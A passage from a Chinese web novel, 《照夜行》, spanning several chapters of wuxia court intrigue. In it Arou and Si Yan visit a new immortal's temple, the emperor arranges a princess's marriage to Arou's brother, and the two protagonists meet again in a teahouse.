说书人用醒木敲了敲桌子,待大家安静下来之后,说道:“各位稍安勿躁,最近还真有一出新话本,名叫《仙君传》。” “仙君?莫非是仙君庙里供奉的那位镜凌仙君吗?” “正是。” 阿柔收回视线,满脸疑惑。 仙君庙在哪?镜凌仙君又是谁?阿柔只听说过什么观音菩萨、菩提老祖,从来没听说过镜凌仙君。但是看观众的反应,好像一点也不稀奇,难道是这个地区特有的神话传说?可她以前也没少来淮宁,怎么从未听说过? 司言看出她的疑惑,冲她勾了勾手指。 “啊?”阿柔愣道。 “你坐过来些,我要与你说点秘密。”司言故作神秘。 “哦。”阿柔顺从地向他那边挪了挪,竖起耳朵好奇地听着。 “前些日子,我在京城的眼线传了一些消息回来。”司言在她耳边轻轻地说道,“来信说,圣上生了一场重病,症状来得又急又凶,宫中太医迟迟找不出这病的根源,自然也没办法对症下药。” “那后来呢?怎么治好的?” “我可没说治好了。”司言说道。 “要没治好,你跟承王还能如此淡定?”阿柔看了他一眼。 承王在宫中韬光养晦数十年,势力远远不如怀王,甚至不如被当作棋子的东宫太子。这次西南剿匪,承王直接在众人面前展现出了他的能力与手腕,也将他自己摆在了怀王的对立面上。若此时此刻,圣上出了什么意外,被拥护至皇位的不管是怀王还是太子,都必定会为了避免后患而对他动手。 司言不置可否地笑笑,继续说道:“后来,皇上在病榻上下旨,令大昭境内各地修建仙君庙,供奉镜凌仙君。虽然不知为何,但无人敢违抗圣旨,按照吩咐盖了许多座仙君庙。在那之后,圣上的病情竟然莫名其妙地好转起来了。” 阿柔瞪大双眼,“竟有此事?” “阿柔,你相信这世上真有鬼神作祟么?”司言似笑非笑地问道。 “子不语怪力乱神,这鬼神作祟的事情我没见过,心里作祟的情况倒见过不少。”阿柔淡然地回答。 “依你看,圣上这病,倒像是心病?”司言说。 “若你消息属实,查不出病因,多半是心病。”阿柔没再说什么,竖起耳朵去听说书人讲的话本。 司言知道她在想什么,笑道:“《仙君传》跟市面上的神怪话本大同小异,讲的是镜凌仙君下凡斩妖除魔的经历,没什么特别之处。这样的话本,我那儿还有一整箱,阿柔若是想看,我托人给你送来。” 阿柔用奇怪的目光审视他,“你为什么会有一整箱话本?” 司言顿了顿,有些心虚地用食指挠了挠额头,“师父教导我要在各个方面都有所涉猎。” 阿柔:“……” “那你涉猎的范围确实还挺广的。”阿柔十分不走心地夸赞了一句,咳了两声,别别扭扭地道,“那什么,方便的话,送到京城景西王府行吗?” 司言:? “我想看。”阿柔说道。 司言:“……” 他只是随口一说,根本没想到阿柔真的会喜欢看这玩意儿,心情复杂地点了点头,应道:“好。” 阿柔扯回一开始的话题,“既然这镜凌仙君并无什么特殊之处,为何与圣上的病情息息相关?” “这个我就不知道了。”司言老老实实地回答。 如果司言对她并无隐瞒的话,看来故渊门的眼线还伸不到这些宫闱秘事中。 见她一副若有所思的样子,司言开口说道:“不过阿柔,你方才说查不出病因,多半是心病,在我看来其实也不尽然。” 阿柔抬头看向他,问道:“什么意思?” 司言凑近她,在她耳边说道:“还有可能是下毒。” 阿柔悚然一惊,只觉得浑身上下的血液都凝固了,手臂上起了一片鸡皮疙瘩。 下毒…… 曾几何时,她对于这两个字充满了仇视、怨恨与恐惧。至今,阿柔仍然不能忘记年幼时,发生在西境宛阳城的那一幕——二哥挨下染毒的一剑,无声无息地倒在 18. 义绝 《照夜行》全本免费阅读 怀王面上的表情变幻莫测,“你说什么?戚三小姐怎么会跟承王混在一起?” 戚雪柔背后可是手握西北军权的景西王府。她与承王如此亲近,景西王知道吗? 景西王府是朝中最难撬动的中立派,不牵涉任何党争之事。当初李晁烨想尽一切办法想要劝服景西王归于自己的阵营中,却碰了一鼻子灰,这才会退而求其次选择祁照。当时的李晁烨并未气馁——纵然他没能争取到景西王的势力,但既然别人也得不到,那就不算亏。 可如今,李晁奚和戚家三小姐走得这么近,让他嗅出了一些危险的味道来。 “殿下稍安勿躁。”黎秋见怀王神色郁郁,连忙说道,“属下以为,戚三小姐一路跟随承王,恐怕非是因为私情。一来,岐州张家夫人出身江北孙家,多年前有恩于景西王府,又与王妃有亲缘关系,戚三小姐多半是为了保张家人才会与之同行。二来,戚三小姐师从云影派,又是先掌门花震的外甥女,与云影派关系匪浅。如今云影派归于我们麾下,难保不会让人怀疑景西王府的立场,戚三小姐此举,极有可能是为了和我们撇清关系。” 李晁烨拧眉深思,“若真是如此,这位戚三小姐的心思倒是比一般的高门闺女要深上不少。” “戚家满门皆非等闲人物,没必要冒着失去圣心的风险去接近承王。”黎秋说道。 “这倒是真的。”李晁烨拇指和食指扶着下巴颏,突然想起了什么,神色变得有些微妙,“我听闻承王此番西南之行,几乎没有任何兵力损耗,就一举拿下了各个匪帮。你说这里面,会不会有戚三小姐的手笔?” 黎秋有些惊讶地微微睁大双眼。 还未等他回应,李晁烨自己先笑着摇了摇头,“本王真是魔怔了,一个女人会打什么仗?差点忘了承王手底下还有个故渊门……对了,林将军是不是马上就要回京了?” “是,不出三日即可抵达帝京。”黎秋回道。 李晁烨口中的林将军,是镇守北境的将领林予哲,地位略逊于景西王,但依旧极负盛名。 “此人手握重权,又受圣上宠信。若是能将他拉拢过来,损失一个祁照倒也不算什么。”李晁烨凝神道。 …… 淮宁城,仙君庙。 阿柔看着往来不绝的人群,惊叹道:“这镜凌仙君当真有这么多信徒啊?” 司言回答:“圣上带头推崇,底下的人自当纷纷效仿。” 两个人排着队,一路进入庙中。 住持迎了上来,客气地说道:“这位公子和小姐光顾本庙,不知所为何求?” 阿柔问:“小女愚钝,不知仙君大人管的是什么。” 住持答道:“这天下之事,只要是求到仙君庙来的,仙君都会照管一二。但要说求什么最灵,应当是家人安乐康健。” 司言听到这话挑了挑眉,嘴角的笑意消失了。 阿柔心下了然。世上有形形色色的人,身份不同,所求也不同。商人爱财,士人求高升,农人祈丰收,唯有健康安乐是永恒不变的话题,难怪仙君庙香火如此旺盛。 只是人毕竟都是利己的,像这种专门为了家人而祈福的寺庙确实也很少见。 阿柔从桌台上取了几支香,在烛火上点燃,跪在拜垫上,给仙君虔诚地磕了三个头,心里默念着“阿爹大哥二哥平安”,拜完之后方才站起来。 司言有些犹疑地伸出手就要去取案上的香,一旁的住持将他的动作看在眼里,温声提醒道:“这位施主,心诚则灵。” 司言动作一滞,说道:“多谢提醒。” 说罢,他也依样画葫芦地对着仙君拜了拜,又上了几炷香,看起来诚恳极了,也不知道求的是什么。 两人并肩从仙君庙出来之后,司言戏谑地看着她,“阿柔才说过,子不语怪力乱神,你还信这个?” “住持也说了,心诚则灵。”阿柔丝毫不以为然。 她非是迷信鬼神,只是出身于将门,父兄每日过着刀尖上舔血的日子,她自然也不可能完全安心。反正给神仙上几炷香又不是什么大不了的事情,她早已养成了一有空就去寺庙祈福的习惯。 “所以呢,你刚才求的是什么?”阿柔好奇。 “愿望说出来可就不灵验了。”司言故作神秘地扭头就走。 “嘁。”阿柔一点也没给面子地翻了个白眼。 司言毫不在意地耸耸肩。 “刚才进去逛了一圈,你看出这仙君庙暗藏了什么玄机没有?”阿柔又问。 司言摇了摇头,“并无任何异常之处。” 阿柔同样一无所获,不过她本来就没打算在一间平平无奇的寺庙里打探到什么皇家机密,跟着司言来仙君庙纯属是因为她真的有点好奇这位神仙是管什么的。 比起打探宫闱秘事,眼下还有一件于她而言更重要的事要去做。 …… 夜色渐沉,客栈房间里,司言坐在床上,手里摩挲着一把小巧精致的长命锁。长命锁由纯银打造,纹理雕刻得精致细腻,一看就价值不菲。 想起今日的所见所闻,司言只觉得心中的冷意越来越盛。 一个通过杀兄逼父谋得皇位,又因制衡权术而默许皇子之间自相残杀的人,竟然会向民众极力推崇护佑家人平安康健的神仙,真是无不讽刺。 司言面上全然不见平日里的温和笑意,取而代之的只有阴郁和森寒。 就在这时,房门被叩响。 司言回过神,把长命锁塞回了包袱里,极力压了压缠绕在心头的情绪,戴上一贯的假面前去开了门。 阿柔一身夜行衣,在开门看到他的第一眼就有些奇怪地说道:“发生什么了?你怎么笑得这么假?” 那点残存的沉重的情绪立刻就烟消云散了。司言嘴角抽了抽,恨恨地说道:“阿柔真是好眼神。” “过奖过奖。”阿柔坦然地接受了他的夸赞。 司言:“……” “不扯别的了。”阿柔单刀直入地道,“我现在要去一趟城北铁匠铺,与你知会一声。” 说罢,她扭头就走,完全没有给司言留下任何反应的空间,人就已经消失在了眼前。 司言无言片刻,最终自言自语道:“还真的只是知会一声。” 对面房间的叶温遥听到动静打开房门,正巧看到一袭黑衣的少女离去的身影,疑惑地问道:“她这是去哪?” “去找花羽。”司言淡淡答道。 叶温遥:??? “上哪儿去找花羽?”叶温遥一脸茫然。 司言干脆招了招手,示意叶温遥来自己的房间。 房门关上之后,司言继续解释:“阿柔还在云影山学艺的时候,第一次下山历练,来的就是淮宁城,自然清楚云影派安插的暗桩在哪里。要想通过暗桩联系到花羽并不难。” “哦。”叶温遥恍然大悟地点了点头,随即有些担忧,“花羽武功高强,戚小姐在他面前恐怕讨不了什么好处。” “无妨。”司言看起来十分淡定,“她讨的也不是好处,而是说法。” “说法?”叶温遥更迷惑了,甚至觉得有些好笑,“自从花羽决定带着整个云影派投身怀王,替他杀人的时候,他们就注定是陌路人了。在这世上,说法是最不值钱的东西,有那么重要么?” “当然重要。”司言说道,“若旁人给予你的恶意都没有缘由,难道不是件令人胆寒的事吗?” 叶温遥不以为然地耸耸肩,“这世上没有缘由的恶意太多了,难不成你真指望人人都能惩恶扬善?” 司言并未出言否认。 叶温遥也不再就这个话题多说什么,而是玩味地看向司言,“所以你真的放心戚小姐一个人去见花羽?万一花羽不顾昔日同门之谊,出手伤她,可怎么是好?” “伤了戚雪柔,等于把景西王府直接推到了怀王的对立面,花羽还不至于干出这等蠢事。”司言胸有成竹地说。 阿柔也是算准这一点,才敢前去单刀赴会。为了以防万一,才会在出发前专门告诉司言她的去向。 司言无奈地笑了笑,心道:如此毫不设防地相信一个人可不聪明。 …… 信号弹一飞冲天,在夜幕中炸开了绚丽的彩花。 阿柔随意地靠在墙边,看着铁匠铺里做暗桩的昔日同门敢怒而不敢言的神色,说道:“我只是找师兄说几句话,没想对他做什么,别紧张。” 能下山做暗桩的弟子,功夫都是一等一的好。阿柔自然不可能同他们硬碰硬,只是找了个机会顺走他们随身携带的信号弹。 当年师兄带她下山来淮宁城历练的时候,还专门教她辨认门派内不同种类的信号弹,用以联系不同的人。没想到再一次使用,竟是在这样的境遇下。 阿柔身份特殊,铁匠铺内没有人敢自作主张对她动手,只能一齐大眼瞪小眼,眼巴巴地等着掌门来。 就在等待的过程中,阿柔的思绪不由得飘远了,恍惚之间仿佛回到了多年前的云影山。 十岁的她第一次感受到至亲离世的苦痛,每次念及阿娘还在世的点点滴滴,总会觉得心口绞着疼。她特别想哭,但被阿爹送到云影山之后,身边最亲近的人就只剩下了大病初愈的二哥。 阿柔知道,不管什么时候,只要她委屈了,难过了,二哥不论如何也会来哄她,安慰她。但在看到二哥因为病痛而日渐消瘦,终日恹恹时,她却无师自通地学会了隐藏所有难过的情绪。 阿柔好像很快就从阿娘离开的打击中走了出来,脸上重新出现了笑容。有人说她坚强,但更多的人却觉得她没心没肺,仿佛没有为了已故的母亲流下整整三年的泪水就是天大的不孝。 很少有人知道,每当阿柔发觉自己难以压抑心中情绪时,就会一个人躲在后山偷偷地哭。 她自以为藏得很好,但没想到有一回,她正哭得昏天黑地,掌门舅舅——也就是她的师父,突然从林间探出头来,还非常为老不尊地冲她做了个鬼脸,瞬间就把她心里的那点委屈和难过吓得一干二净。 如此一来的下场就是,师父花言巧语地哄了很久,阿柔 19. 二哥 《照夜行》全本免费阅读 长祈城皇宫,富丽堂皇的寝殿里,李钰合了眼躺在床榻上,熙贵妃坐在身旁,轻柔地为他按揉着头上的穴位。 熙贵妃有几分心疼地道:“皇上的病才好了没几日,万不可操劳过重。” 李钰轻轻地笑了笑,睁眼看向她,“许久没有上朝,奏折压在那里,总不能一直不批吧?” “臣妾一介妇道之家,不懂朝政之事,只是见皇上日夜忧思,恨自己不能为皇上分忧。”熙贵妃年轻貌美,说这番话的时候眉目含情,一副泫然欲泣的模样,让人我见犹怜。 李钰连忙说道:“熙儿这不就是在为朕分忧吗?若没有你,朕可怎么是好?” 熙贵妃微微一笑,继续给他按摩。 “不过前两日卧病在床的时候,朕确实想了许多事。”李钰双眼放空地望向天花板,“前半生,朕为了争夺至尊之位,做了许多错事,也杀了许多人。所以朕在位二十三年,终日勤勉,未敢有丝毫懈怠,终于迎来了我大昭的昌盛之景。若有一日乘风归去,想必也能对得起李家的列祖列宗了……” “皇上!”熙贵妃神色惊慌,连带着手上的动作也停了。 “熙儿,别怕。”李钰宽慰道,“生老病死乃是世间常情,尤其是朕这般手上沾满血腥之人,不知道黄泉之下有多少厉鬼等着索朕的命……只是,朕到底还是放心不下乐瑶那孩子。” 乐瑶公主是圣上最小的一个孩子,只有十七岁,为已故容妃所出。按说这个年纪的公主早该指婚嫁人,但圣上对这个小女儿宠爱有加,根本不舍得将她随便嫁与别人。 “婚姻之事,朕原想让乐瑶自己做主,但这孩子心气太高,谁也看不入眼。如今朝中局势动荡,乐瑶的母妃过世多年,朕又不可能时时护着她。看来乐瑶的婚事,朕不插手是不行了。”李钰说道。 自梦中误入仙宫以后,李钰突然觉得自己老了不少,再也不是当初那个手执长剑斩杀四方的健壮青年了。他变得惶恐不安、患得患失,惧怕某一天猝然离世,而乐瑶公主的婚事则成了他的一道心结,须得尽早解开才行。 只是这驸马的人选就有待商定了。京中党政之争牵连甚广,皇位更替之日,长祈注定会是一番腥风血雨,这场争斗的输家一定会付出生命的代价,李钰不愿让自己的小女儿牵涉其中。但门当户对的理念深入骨髓,李钰又不能容忍一个出身太过寒酸的人与乐瑶相配。 “出身名门,才貌俱佳,品行良好,不涉党争,又未曾娶妻……”李钰低声沉吟,突然想起了什么,“京中倒还真有这么一个人选。” …… 在淮宁城过夜的那晚,司言做了个梦。 他梦见自己在伸手不见五指的黑暗之中跌跌撞撞地走着,不知道所处何地,更不知应去向何方。 就这样走着走着,眼前突然出现一道耀眼的白光,刺得他立刻闭上了眼。等到双目终于适应了这突如其来的明亮,再次抬眸,他却看到了一个熟悉的高大而清瘦的背影。 司言立时就意识到自己身处梦中,因为这个背影在他的梦里实在是出现太多次了,频率高到让他有些厌烦。 也许是因为素未谋面,司言知道这个背影属于谁,却幻想不出他的面容,也从未梦到过他的正脸。 司言本以为这次也会和以前一样,没成想,梦中那个身形挺拔的男子却缓缓地转过身来。 刹那间,司言只觉呼吸凝滞了片刻。 男子看起来约莫三十多岁,面容清俊,一双眼眸仿佛盛着天上的星河般明亮。他薄唇微启,直直地看向司言。 司言心中迸发出的第一个想法是:原来他长这样啊。 紧接着,司言依稀辨认出眼前之人的面上似有惊喜之色,却又夹杂着深深的遗憾与哀伤。 司言活了二十三年,第一次觉得有些委屈,明知是在梦里,明知幻影中的一切都当不得真,但他仍旧固执地上前一步,问道:“你对我很失望吗?” 令人没想到的是,面前的人摇了摇头,温和地说道:“阿言,我不想让你为了我而活,你应该有自己的人生。” 男子的嗓音十分动听,仿佛山间里的潺潺清泉般清亮又柔和。他所说的话明明是一句平常无奇的劝慰之辞,落到司言耳中,却让他瞬间血气上涌,颤抖不止—— “从小到大,人人都教导我要追随你的脚步,要为了你报仇。我已经为你而活了二十三年,如今你告诉我,我应该拥有自己的人生,那我先前所做的一切又算什么?!” 梦境迅速地坍塌崩裂,撞碎了男子俊美却哀戚的面容,重归于深邃无边的黑暗之中。 司言猛地睁开双眼,发现自己还躺在淮宁城客栈的房间里,胸口微微起伏。 过了好一会儿,司言总算是从刚才的情绪里缓过来了,他自嘲一笑,喃喃道:“不过是个梦罢了。” 他再次闭上眼,却怎么也睡不着。与此同时,仅有一墙之隔的阿柔则一直陷在与花羽划分界限的场景之中,辗转难眠。两个各怀心事的人索性望了一夜的天花板,艰难地捱到天明。 天亮后,张家幼女的烧已经退去不少,众人便接着出城赶路了。 如此过去了十几日,总算抵达了京城。 …… 京中最近流传一出佳话,说当朝圣上梦中误入天界,向仙君祈求国家风调雨顺、万民和乐,并答应仙君要为他修建寺庙。 这样的传说迅速在大昭境内流传开来,仙君庙一时香火茂盛,借势在京中办起了庙会。 夜晚灯市如昼,穿着华美服饰的男女行于热闹的集市中,欢声四溢。小摊上贩卖的东西种类极多,有风味小吃,有玉佩香囊,有护身饰品,有奇形怪状的面具……心意相通的有情人相携而行,一同走过湖上长桥,来到月老树下,将许下愿望的红绸绑在树枝上。 清韵阁二楼,身着狐裘外氅的青年男子坐在栏杆旁,望着底下的街市出神。 卖糖人的小摊贩前站着两个年轻娇美,穿着华贵的姑娘,一看就是京中的名门贵女——戚思彦认出那是在宫中备受宠爱的乐瑶公主以及她的贴身侍女。 李乐瑶一身嫩粉色齐胸襦裙,外披一件毛领斗篷,裹得整个人看起来娇小可爱。她接过刚做好的糖人,面上似有惊喜之色,大概是糖人捏得十分像她的缘故。 戚思彦遥遥地看见李乐瑶展颜一笑,对身旁的侍女说了些什么,两个人结着伴,顺着人流而动,去寻新的热闹去了。 “二公子,请用茶。” 熟悉的声音在耳畔响起,戚思彦回过神来,转身抬眸,来人是茶楼老板宋岳之。 戚思彦笑了笑,打趣着说道:“今日庙会,茶楼里的客人这么多,我竟能劳宋老板亲自接待,实在受宠若惊。” “得了吧,京中谁敢不给你二公子面子?店里的客人有伙计们招待,我就是专程来服侍二公子你的。”宋岳之随意地坐在了戚思彦的对面,视线落在他身上的外氅上,“你冷吗?要不要寻人去给你生个炉子来?” “不必如此麻烦。”戚思彦推拒了他的好意,将杯中还在冒热气的茶晃了晃,慢悠悠地喝了一口。 宋岳之非常自觉地给自己也倒了一杯,“这京中的公子哥儿们,除你之外,我竟是找不出半个真正爱茶之人了。” “清韵阁名声在外,来品茶之人应当不少吧?”戚思彦说道。 “那些都是附庸风雅之辈,根本算不得真正爱茶。”宋岳之反驳,“我在京中开了这么久的茶楼,也就结交了你这么一个年龄相仿的贵人。” 戚思彦面上春风和煦,与他茶杯相碰,聊表致意,“荣幸之极。” 两个人又闲聊叙话了一阵,戚思彦突然想起了什么,说道:“对了,我待会儿想装些茶叶回府。” 宋岳之爽快地应道:“好啊,要什么品种?” “碧如兰。” 宋岳之奇怪地道:“你不是嫌碧如兰味道太甜,品不出茶香么?” 戚思彦看了他一眼,淡定地喝了一口茶,缓缓说道:“我妹妹喜欢。” “哦。”没有妹妹的宋岳之灰溜溜地打包茶叶去了。 …… 冬至过后,天气一下子变得更冷了,京城里飘起了飞絮一般的白雪。夜色隐去,日光升起之时,四处都镀上了一层薄薄的银白色。 戚思彦独自坐在小亭中,面前的石桌上摆着一个茶炉,小火轻煨,水声渐沸,不一会儿便茶香四溢。 “二哥!”少女的声音遥遥传来。 戚思彦放下手中倒茶的动作,嘴角轻轻地扬起,面色比冬日里的白雪还要柔和几分。他站起身来,刚朝着声音传来的方向望去,就见许久未见的幼妹三步并两步地朝这边飞奔而来,转瞬间便扑进了戚思彦的怀里。 戚思彦伸出手揉了揉她的发顶,看似无奈,实则宠溺地说道:“都多大的人了,怎么还跟个小孩一样?” 阿柔的脑袋在二哥的胸前蹭了蹭,好半天才依依不舍地从二哥温暖的怀抱里出来,视线落在石桌上的茶炉上,“天这么冷,二哥怎么不在屋里待着?” 戚思彦将刚倒好的一杯茶递了过去,笑道:“我想让阿柔一回来,就喝到哥哥烹的茶。” 阿柔被他三言两语说得尾巴都要翘到天上去了,接过茶杯一饮而尽,夸道:“好茶好茶!” 戚思彦不禁哑然失笑— 20. 相约 《照夜行》全本免费阅读 “臣戚思彦携幼妹阿柔拜见皇上。” 殿内,戚家兄妹二人跪于阶前,正对着一身龙袍的大昭皇帝。 李钰温声开口,让他们不必多礼,“许久不见阿柔,这丫头出落得是越发水灵了。” “谢皇上赞誉,您的风采也不减当年。”阿柔笑意盈盈地福身一礼,好像全然没有因为面圣而紧张害怕。 李钰心情很好地大笑了两声,“阿柔真会说话,难怪你阿爹这么疼你。” 李钰给兄妹二人赐了座,待他们谢恩坐下,便开始叙话家常。他状似无意地问道:“朕听闻阿柔此番外出历练,去了一趟西南?” 戚思彦的心立刻提了起来。 阿柔点了点头,热络大方地说道:“是啊皇上!臣女这一趟还遇到承王殿下了呢。” 李钰看似好奇地说道:“哦?然后呢?” 阿柔回答:“殿下说他奉旨带兵赴西南剿匪,恰巧遇到臣女,托臣女帮他一个忙。” 阿柔掐头去尾地把她与承王演戏混淆视听,迷惑山匪之事同皇上讲了一遍,只是半点不提这份计谋是由自己提出的,将功劳尽数推给了承王。 李钰听完之后,了然地点点头。阿柔所言,倒是与承王回朝面圣时的说辞能够互相佐证。看她一副天真坦荡、没心没肺的模样,似乎完全没有注意到承王剿匪一事与党争之间的牵连,应当只是心性不成熟罢了。 戚思彦就要提到嗓子眼里的那颗心总算是缓缓落下,方才无意间拧起的眉头也舒展开来。 李钰暗中松了一口气,连说话的语气都放松了不少,染着笑意说道:“那你怎么就应了他呢?” “臣女身为大昭子民,又是将门之后,若得了机会,自当为民情民生尽一份心力。”阿柔扬声道。 “说得好!”李钰爽朗地道,“景西王之女,戚氏雪柔,此番助承王剿匪有功,朕重重有赏!” 阿柔起身拜谢,“承蒙皇上厚爱,只是臣女出力有限,恐受之有愧。” 李钰说道:“你有什么想要的赏赐尽管提,朕亲自做的主,谁敢说你一句不是?” 阿柔顺势说道:“臣女不要金银宝饰之物,只求皇上能应允臣女一个愿望。” 李钰饶有兴趣地说:“你且说来听听。” 阿柔颔首说道:“臣女游历在外时,常惦记着御花园内的奇花异草、四季之景。恰巧此次回京想要多待一些时日,故而恳请皇上允诺臣女能够常常入宫观赏。” 戚思彦想到进宫前,阿柔曾与他说起毓秀阁藏书之事,立时就明白了她提出这个愿望的用意,故作嗔怪地看了她一眼,低声喝道:“阿柔!” 李钰袖袍一挥,示意戚思彦不必在意,非常痛快地说道:“这有什么难的,朕允你便是。” “谢皇上恩典!” 赏赐过后,李钰便让阿柔先行退下,只留戚思彦一个人在殿内叙话。 李钰看着他,随和地说道:“阿彦,朕如果没记错的话,你是天曜十九年入仕的?” 戚思彦点头,“确是如此。” “朕还记得,你入朝为官时不过刚到弱冠之年,如今应该已经二十有四了吧。”李钰接着道。 戚思彦又应声称是。 李钰微微勾起唇角,却又轻轻地叹了一口气,“朕年龄大了,常常忆起前尘往事,念及年轻时与你父王相交同游的点滴,难免思绪万千。这许多年来,他一直浴血沙场,为朕守着大昭的西北疆土,就连结发妻子也丧生于离乱之中。朕屡屡思及此处,深觉亏欠你们许多。” 戚思彦连忙站起身来,作揖行礼,“戚家身为人臣,为君固守疆土乃是分内之事。陛下若言亏欠,倒令臣不胜惶恐。” 李钰笑意柔和,向他摆了摆手,示意他坐下,“你父王为大昭江山倾力付出至此,留你在京中为官,朕是你的长辈,理应替他多看顾你才是。如今你年龄也不小了,却还未曾娶妻。朕不愿叶临远在西境还要为此事烦忧,便为你指了一门婚事,不知你可愿意?” 戚思彦心里一紧,面上却并无波澜。其实早在李钰谈及年龄时,他就已经隐隐感知到李钰接下来将要说的话,以及今天召他来此的真正目的。 “劳烦陛下记挂,臣受宠若惊。”戚思彦说道,“只是臣不曾娶妻,乃是因为一身病骨,只恐成亲之后会拖累良人。” 李钰嗔怪地说道:“阿彦,你有如此出身品貌,何必妄自菲薄?今日是朕看中了你,要选你做朕的女婿,将乐瑶公主嫁与你。你若是贬低自己,便是怀疑朕的眼光。” 戚思彦陡然一惊,垂首说道:“臣不敢。” “既如此,那你可愿?” “听凭陛下做主。” …… 天色沉沉,斜阳欲落。 戚思彦一早便听说妹妹要回京住一段时日,早些时候就命人将她的院子收拾得一尘不染。 阿柔一回到房间,就舒服地躺在床上,长长呼了一口气——把张家人顺利送入京城之后,她心里紧绷着的弦终于可以稍微松弛一些了。 只是…… 阿柔望着天花板发呆,难以抑制地想到先前一个多月以来经历的每个片段,想到来阳城的屋顶之上,与身旁之人举杯共饮的画面。 她无可避免地想起司言。 那时的他们拥有一个共同的目标,那就是护送张家人入京。如今这个目标已经实现,他们便彻底走上了不一样的道路—— 他要搅入朝局纷争,在风云诡谲的京城里争得一席之地,而她此生最大的愿望却是护佑家人远离争斗、平安无恙。 阿柔烦躁地一翻身,侧躺在床边,却在看清地板上陈放的物品后呆愣在原地——一只巨大的箱子映入眼帘。 她掀开一看,其中满满当当装着的全是市井流行的话本! 阿柔一时语塞,坐起身来,信手翻看了几本,一边看一边喃喃自语,“这都是什么乱七八糟的……” 说到这里,话却突然止住了。 只见话本之下压着一张字条,上面写着一句话:我有一盏茶,聊以赠故友,请君回京第三日申时于清韵阁相会,万望勿辞。 “这家伙……怎么道别的时候不曾说过呢。” 万一她过了好几日都不曾打开这个箱子呢?万一她没有掀开上面一层书,没有发现这张字条呢?万一她在那天正巧有别的事要去做呢? 心里虽是这么腹诽着,阿柔仍然在第三日时如约来到清韵阁。与小二报了名字之后,一路被引到二楼的雅间里,推开门就见到熟悉的人坐在案前,一只手撑着脸,望着窗外银装素裹的雪景发呆。 听到身后的动静,司言转了过来,面中满是惊喜之色,“你来啦。” 将人带到之后,小二便恭敬地退了下去,独留两个人在雅间内叙话。 阿柔落座,司言在她的杯中倒满了茶。她端起热腾腾的茶杯,吹了吹,轻轻抿了一小口,说道:“没想到你也爱茶。” “也?”司言奇道。 阿柔解释道:“我二哥没有什么旁的兴趣爱好,唯有对茶道一事兴致极高。这清韵阁,他带我来过好几回了。” 司言展颜道:“戚少卿是真正爱茶之人,我这附庸风雅的怎能与他相提并论?” 戚思彦在大理寺任少卿一职,故而许多人都称其为戚少卿。 阿柔放下茶杯,看着眼前之人舒展开来的眉眼,一副轻松愉悦的模样,终于还是开口道:“事情办得如何了?” 司言拿茶杯的动作一顿,随后若无其事地说道:“张夫人携物证面见圣上,指控祁照勾结土匪、鱼肉百姓的种种罪行,朝中有七成以上的官员弹劾祁照,陛下命承王彻查此事。不过说是彻查,事实却已经很明了了。如果动作快的话,年前就能将祁照下狱。” “柳如周呢?” “柳如周擅自囚禁流民,罪无可恕,已经被撤了职,流放到西北去了。” 阿柔点了点头,又问:“那张家人你当如何安置?” “他们作为人证,在祁照一案出结果前还不能随意出京,有我的人护着,不会出事。”司言回答,“不过张夫人此番入朝作证,势必会得罪怀王那边的人,待事情解决之后,我便亲自送他们回江北。或者若他们愿意,在我故渊门住下也未尝不可。” “这我便放心多了。”阿柔沉默了半晌,有些犹豫地开口道:“那你呢?” “嗯?”司言一怔。 “你往后有什么打算?” 司言手里攥着茶杯,良久后,浅 21. 秘辛 《照夜行》全本免费阅读 先前入宫面圣之时,皇上曾言阿柔于西南剿匪一事中有功,应当重重有赏。当时阿柔趁此机会求皇上允她时常入宫,皇上万分爽快地答应了。不仅如此,又赏了好几箱上好的绫罗绸缎,命人送到景西王府去。 天子赠礼,是件极有排面的事情。更何况在外人看来,戚家幼女在这次剿匪中并未起到什么关键作用,真正运筹帷幄之人应当是那位承王殿下才对。但圣上对于承王的态度却始终冷冷淡淡的,即使他立下如此大功,也并未有任何赞赏之辞,只是给了些无关痛痒的赏赐罢了。 皇上素来厌恶皇六子李晁奚,这是朝中皆知的事。只是这份厌恶先前还能解释为承王不学无术、愚钝无能,此次西南剿匪中,承王展现出了非同一般的能力和手腕,彻底摘下了从前为求自保的假面,皇上却依然不为所动,这倒让人觉得有些奇怪。 阿柔暂且没有功夫去打探这些皇家的恩怨纠葛,而是一门心思地在宫内和民间搜寻有关故渊门的情报。 令人庆幸的是,据毓秀阁总管说,先帝曾十分痴迷于武学,还未即位时便结交了许多江湖名士。由此上行下效,就连毓秀阁中也收揽了许多珍贵的江湖典籍。 在总管的指引下,阿柔找到了一本《中原武林史》。其实阿柔原先还未离开师门的时候,便知道云影派藏书阁内有一本有关中原武林门派的典籍,详尽地记载了各大门派的兴衰史,正是她手中的这本书。 成书之时,故渊门只是一个籍籍无名的小门派,还不像现在这样名声大噪,所以着墨并不多,以至于阿柔差一点就错过了这部分内容。 她反复看着书卷上寥寥数行的记载,觉得有些奇怪。 《中原武林史》乃是江湖上各大名门正派联合编纂的正史,权威性极高,凡所记载皆所言不虚。按书中所说,故渊门成立百年,一直对外推崇本派独创的剑法,奈何收效甚微,没能在群雄林立的江湖之中闯出一片天地来。究竟是什么让故渊门突然改变了百年来坚持的经营之道,用了短短二十年的时间,在大昭境内布下了磅礴缜密的消息网,甚至在朝中都安插了眼线,以尽知天下事之名立足于江湖,最终成为江南的一方领主。 阿柔记得自己十岁初入云影山那年,故渊门的名声就已经胜过日渐衰微的云影派了。七年前,故渊门先门主司玄去世,她跟着师门去故渊门吊唁。阿柔幼时认生,不喜与人结交,出门时喜欢躲在师父的身后,因而对当时的情景已经记不太清了,只是在遍寻回忆之后,隐约想起来当时灵堂正中跪着个身着寿衣的少年。 那少年脸上稚气未退,却有超乎旁人想象的倔强。他长久地跪在司玄灵前,不肯起来,也不肯同别人有过多的交流,甚至不肯落泪。许多江湖中甚有名望的前辈站在他的身旁,居高临下地同他说着节哀顺变之类的客套话,他对此置若罔闻。这些人习惯了被阿谀奉承,猝不及防受了这半大的孩子的冷脸相待,面色皆不太好看,给司玄上了香后便愤然离去。 不一会儿,灵堂只剩下寥寥数人。花震轻轻叹了口气,走到那少年的身旁,蹲下身来,抚了抚他的发顶。少年转头看向他,一双满含着倔强和悲伤的眼眸中生出了几分茫然。花震看着他微微湿润的眼睫,柔声说道:“孩子,你辛苦了。” 那时的阿柔躲在花震身后,一双小手紧紧拽着师父的袍角,直到看到师父同那少年说话,才怯生生地探出头来,也因此看清了那少年的模样。 阿柔猛然忆起,当时跪在灵堂中央的少年正是司言。 